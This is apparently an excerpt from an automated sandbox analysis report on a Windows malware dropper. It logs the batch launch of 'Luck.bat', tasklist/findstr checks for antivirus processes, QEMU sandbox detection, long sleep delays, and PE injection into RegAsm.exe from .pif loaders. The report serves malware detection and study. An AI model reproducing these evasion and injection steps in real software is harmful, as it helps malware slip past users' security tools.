    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifProcess information set: FAILCRITICALERRORS | NOALIGNMENTFAULTEXCEPT | NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX

    Malware Analysis System Evasion

    barindex
    Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
    Source: RegAsm.exe, 0000001A.00000002.3204845308.000000000315E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.0000000002941000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \QEMU-GA.EXE@\^Q
    Source: RegAsm.exe, 0000001A.00000002.3204845308.000000000315E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.0000000002941000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \QEMU-GA.EXE`,^Q
    Source: RegAsm.exe, 0000001A.00000002.3204845308.000000000315E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.0000000002941000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \QEMU-GA.EXE
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeMemory allocated: 2E90000 memory reserve | memory write watch
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeMemory allocated: 3060000 memory reserve | memory write watch
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeMemory allocated: 2E90000 memory reserve | memory write watch
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeMemory allocated: CD0000 memory reserve | memory write watch
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeMemory allocated: 2840000 memory reserve | memory write watch
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeMemory allocated: 4840000 memory reserve | memory write watch
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeThread delayed: delay time: 922337203685477
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
    Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifWindow / User API: threadDelayed 5110Jump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifAPI coverage: 4.7 %
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifAPI coverage: 4.6 %
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pif TID: 7548Thread sleep time: -51100s >= -30000sJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe TID: 2088Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe TID: 1608Thread sleep time: -922337203685477s >= -30000s
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifThread sleep count: Count: 5110 delay: -10Jump to behavior
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_00405B98 FindFirstFileW,FindClose,0_2_00405B98
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_00406559 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00406559
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_004029F1 FindFirstFileW,0_2_004029F1
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00374005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,18_2_00374005
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,18_2_0037C2FF
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037494A GetFileAttributesW,FindFirstFileW,FindClose,18_2_0037494A
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037CD14 FindFirstFileW,FindClose,18_2_0037CD14
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,18_2_0037CD9F
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,18_2_0037F5D8
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,18_2_0037F735
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,18_2_0037FA36
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00373CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,18_2_00373CE2
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00374005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,20_2_00374005
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,20_2_0037C2FF
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037494A GetFileAttributesW,FindFirstFileW,FindClose,20_2_0037494A
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037CD14 FindFirstFileW,FindClose,20_2_0037CD14
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,20_2_0037CD9F
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,20_2_0037F5D8
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,20_2_0037F735
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,20_2_0037FA36
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00373CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,20_2_00373CE2
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00325D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,18_2_00325D13
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeThread delayed: delay time: 922337203685477
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeThread delayed: delay time: 922337203685477
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\684126\Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\684126Jump to behavior
    Source: RegAsm.exe, 0000001A.00000002.3204845308.000000000315E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.0000000002941000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \qemu-ga.exe`,^q
    Source: RegAsm.exe, 0000001A.00000002.3204845308.000000000315E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.0000000002941000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \qemu-ga.exe
    Source: RegAsm.exe, 0000001A.00000002.3204845308.000000000315E000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.0000000002941000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \qemu-ga.exe@\^q
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifProcess information queried: ProcessInformationJump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003845D5 BlockInput,18_2_003845D5
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00325240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,18_2_00325240
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00345CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,18_2_00345CAC
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_00405BBF GetModuleHandleA,LoadLibraryA,GetProcAddress,0_2_00405BBF
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003688CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,18_2_003688CD
    Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: DebugJump to behavior
    Source: C:\Windows\SysWOW64\tasklist.exeProcess token adjusted: DebugJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess token adjusted: Debug
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeProcess token adjusted: Debug
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0033A354 SetUnhandledExceptionFilter,18_2_0033A354
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0033A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,18_2_0033A385
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0033A354 SetUnhandledExceptionFilter,20_2_0033A354
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0033A385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,20_2_0033A385
    Source: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exeMemory allocated: page read and write | page guard

    HIPS / PFW / Operating System Protection Evasion

    barindex
    Injects a PE file into a foreign processes
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifMemory written: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe base: 1100000 value starts with: 4D5AJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifMemory written: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe base: 900000 value starts with: 4D5AJump to behavior
    Writes to foreign memory regions
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifMemory written: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe base: 1100000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifMemory written: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe base: FF4000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifMemory written: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe base: 900000Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifMemory written: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe base: 650000Jump to behavior
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00369369 LogonUserW,18_2_00369369
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00325240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,KiUserCallbackDispatcher,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,18_2_00325240
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00371AC6 SendInput,keybd_event,18_2_00371AC6
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003751E2 mouse_event,18_2_003751E2
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k move Luck Luck.bat & Luck.bat & exitJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc" Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 684126Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "VegetablesIndividualBindingGba" Ever Jump to behavior
